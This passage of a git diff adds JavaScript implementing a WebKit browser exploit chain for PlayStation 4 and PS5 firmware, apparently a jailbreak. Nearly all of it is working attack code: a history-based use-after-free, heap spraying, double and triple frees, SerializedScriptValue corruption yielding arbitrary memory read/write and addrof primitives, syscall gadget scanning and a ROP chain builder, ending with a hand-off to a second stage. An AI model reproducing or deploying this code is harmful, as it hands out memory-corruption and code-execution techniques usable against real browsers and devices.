+ // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(size_vector); + // JSC::ArrayBufferContents + const abc = new Uint8Array(size_abc); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.03. + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (target !== ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, size_view); + } else { + // m_data + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of the view. The StringImpl is safe to free since we fixed it up + // earlier. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + // save SerializedScriptValue + const copy = []; + for (let i = 0; i < view.length; i++) { + copy.push(view[i]); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + //alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory(u, worker); + + var prim = { + read1(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read8(addr); + return res; + }, + + read2(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read16(addr); + return res; + }, + + read4(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read32(addr); + return res; + }, + + read8(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read64(addr); + return new int64(res.low(), res.high()); + }, + + write1(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write8(addr, value); + }, + + write2(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write16(addr, value); + }, + + write4(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write32(addr, value); + }, + + write8(addr, value) { + addr = new Int(addr.low, addr.hi); + if (value instanceof int64) { + value = new Int(value.low, value.hi); + mem.write64(addr, value); + } else { + mem.write64(addr, new Int(value)); + } + + }, + + leakval(obj) { + const res = mem.addrof(obj); + return new int64(res.low(), res.high()); + } + }; + window.prim = prim; + + // restore SerializedScriptValue + view.set(copy); + + // cleanup + view_leak_arr = null; + view_leak = null; + jsview = null; + input = null; + foo = null; + + // Before s1.ab gets garbage collected and its underlying buffer + // on the fastMalloc heap is freed, another object could be + // allocated in the meantime. That object could be freed + // prematurely once the GC occurs. This could corrupt the object + // if another object is allocated in the same memory area. + // + // So we will keep s1 alive. + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all its references easy (change the value of the global +// variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw(save, ssv_data); +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState === 'interactive' || document.readyState === 'complete') { + resolve(); + } + document.addEventListener('DOMContentLoaded', resolve, { once: true }); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('stage: UaF 1'); + await use_after_free(pop, s1); + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('stage: double free'); + // * keeps setup_ar()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + + debug_log('stage: triple free'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + //clear_log(); + debug_log('WebKit Done, Jailbreaking...'); + setTimeout(stage2, 1000); +} +setTimeout(run, 500); \ No newline at end of file diff --git a/702/exploitw.js b/702/exploitw.js new file mode 100644 index 00000000..58c20638 --- /dev/null +++ b/702/exploitw.js @@ -0,0 +1,1489 @@ +var master_b = new Uint32Array(2); +var slave_b = new Uint32Array(2); +var slave_addr; +var slave_buf_addr; +var master_addr; +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) + +const ps4_8_03 = 1; + +// this version for 9.xx +const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +const ps4_6_50 = 3; + +// this version for 6.00-6.20 +const ps4_6_00 = 4; +let target = ps4_8_03; +function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.eq = operation(function eq(b) { + const a = this; + return a.low() === b.low() && a.high() === b.high(); + }, 1); + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} + +const KB = 1024; +const MB = KB * KB; +const GB = KB * KB * KB; +const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +const view_m_vector = 0x10; +const view_m_length = 0x18; +const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +const size_view = 0x20; + +// offsets for WTF::StringImpl +const strimpl_strlen = 4; +const strimpl_m_data = 8; +const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +const size_strimpl = 0x18; + + +let mem = null; + +function init_module(memory) { + mem = memory; +} + +class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} +function make_buffer(addr, size) { + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); + const old_addr = u_addr.read64(view_m_vector); + const old_size = u_addr.read32(view_m_length); + + u_addr.write64(view_m_vector, addr); + u_addr.write32(view_m_length, size); + const copy = new Uint8Array(u.length); + copy.set(u); + const res = copy.buffer; + + // restore + u_addr.write64(view_m_vector, old_addr); + u_addr.write32(view_m_length, old_size); + + return res; +} + +function check_magic_at(p, is_text) { + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return value[0].eq(magic[0]) && value[1].eq(magic[1]); +} +function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(view_m_vector); +} + +function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + const disp = import_addr.read32(2); + const offset = new Int(disp, disp >> 31); + const function_addr = import_addr.readp(offset.add(6)); + + return function_addr; +} + +function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} + +class Memory extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, js_butterfly); + + write32(main, view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} + + +function die(msg) { + alert(msg); + undefinedFunction(); +} + +function debug_log(msg) { + document.getElementById("progress").style.color = "orange"; + document.getElementById("progress").innerHTML=msg; + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); +} + +function clear_log() { + document.body.innerHTML = null; +} + +function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +} +const syscall_map = new Map(Object.entries({ + 'close': 6, + 'setuid' : 23, + 'getuid' : 24, + 'mprotect': 74, + 'socket' : 97, + 'fchmod' : 124, + 'mlock' : 203, + 'kqueue' : 362, + 'kevent' : 363, + 'mmap' : 477, + // for JIT shared memory + 'jitshm_create' : 533, + 'jitshm_alias' : 534, +})); + +const upper_pad = 0x10000; +// maximum size of the ROP stack +const stack_size = 0x10000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} + +const ssv_len = (() => { + switch (target) { + case ps4_6_00: { + return 0x58; + } + case ps4_9_00: { + return 0x50; + } + case ps4_6_50: + case ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid target: ' + target); + } + } +})(); + +const num_reuse = 0x400; + +// size of JSArrayBufferView +const original_strlen = ssv_len - size_strimpl; +const buffer_len = 0x20; +const num_str = 0x400; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; +let rstr = null; +let view_leak_arr = []; +let jsview = []; + +// object for saving values +let s1 = {views : []}; +let view_leak = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; +input.id = "input"; +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', ''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + let total_sleep = 0; + const num_sleep = 8; + while (true && target !== ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[strimpl_inline_str] === 0x42) { + write32(view, strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, strimpl_m_data); + write64(view, strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, strimpl_m_data, rstr_addr); + write32(view, strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, strimpl_m_data); + + let res = null; + write64(view_rstr, strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, js_butterfly); + write64(this.view_rstr, strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, view_m_vector); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +// +// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= +// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap +// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") +// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on +// the fastMalloc heap, the contents of the old one will be copied. This will +// change the m_vector field, so care must be taken if you cache the result of +// get_view_vector(), you must call it again to get the updated field. +// +// See enum TypedArrayMode from +// 